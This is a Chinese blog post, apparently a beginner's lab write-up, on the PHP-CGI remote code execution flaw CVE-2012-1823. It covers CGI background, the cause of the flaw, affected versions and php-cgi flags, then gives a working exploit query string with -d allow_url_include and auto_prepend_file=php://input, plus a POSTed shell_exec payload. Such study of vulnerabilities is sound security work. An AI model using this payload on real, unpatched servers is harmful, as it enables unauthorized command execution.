PHP-CGI远程代码执行漏洞(CVE-2012-1823)

目录

CGI是什么?

fastcgi

漏洞成因

影响版本

漏洞利用

cgi模式下的参数

实验过程

开启环境

访问网站

利用-s查看文件源码

利用-d制造文件包含漏洞

总结


CGI是什么?

CGI(Common Gateway Interface)公共网关接口,是web服务器运行时外部程序的规范,它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准。几乎所有的服务器都支持CGI,也可以用任何语言编写CGI,只要这种语言具有标准输入、输出和环境变量即可.CGI分为标准CGI和间接CGI

在安装Apache的时候默认有一个cgi-bin目录,最早就是用来放cgi脚本的

但是cgi模式有一个缺点,由于进程的创建和和调用都会有一定的消耗,进程的数量也是有限的,采用cgi模式的网站当大量的用户同时访问的时候,很可能服务器自己就顶不住了。这个时候fastcgi应运而生

fastcgi

fastcgi可以自己一直运行在后台、并通过fastcgi协议接受数据包、执行后返回结果,但自身并不退出

  • fastcgi是HTTP服务器和动态脚本语言间通信的接口或工具
  • fastcgi的有点是将动态语言解析和HTTP服务器分离开来
  • Nginx 、 Apache大多数动态语言都支持fastcgi
  • fast接口方式采用c/s架构
  • PHP动态语言服务端可以启动多个fastCGI的守护进程
  • HTTP服务器通过fastcgi客户端和动态语言fastcgi服务端通信

漏洞成因

用户请求的querystring被作为了php-cgi的参数执行了,RFC3875中规定当querystring中不包含没有解码的=号的情况下要将querystring作为cgi的参数传入,所以Apache服务器按要求实现了这个功能,PHP曾经也处理过就是比较极端即:web上下文中不允许传入参数,但后来由于种种原因又取消了,所以这个漏洞就遗留了下来

影响版本

php < 5.3.12 or php < 5.4.2

漏洞利用

cgi模式下的参数

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-? 显示帮助

实验过程

开启环境

sudo docker-compose biuld 
sudo docker-compose up -d

访问网站

利用-s查看文件源码

利用-d制造文件包含漏洞

?-d allow_url_include=on -d auto_prepend_file=php://input
首先是把文件包含这个设置打开
然后使用auto_prepend_file函数在页面底部加载文件

<?php echo shell_exec('ls');?>


+号是空格 %3d是=  %3a是:
?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

bp抓包,插入代码将GET请求方式改为POST

成功执行

总结

这是小菜菜第一次接触CVE,讲真信息量有点大,对于有些知识点我也不能完全理解,所以后续就不展开了。我得好好消化一下

这里推荐一位大神的文章,写的很好也很透彻,大家可以去看看原文,超级精彩

https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值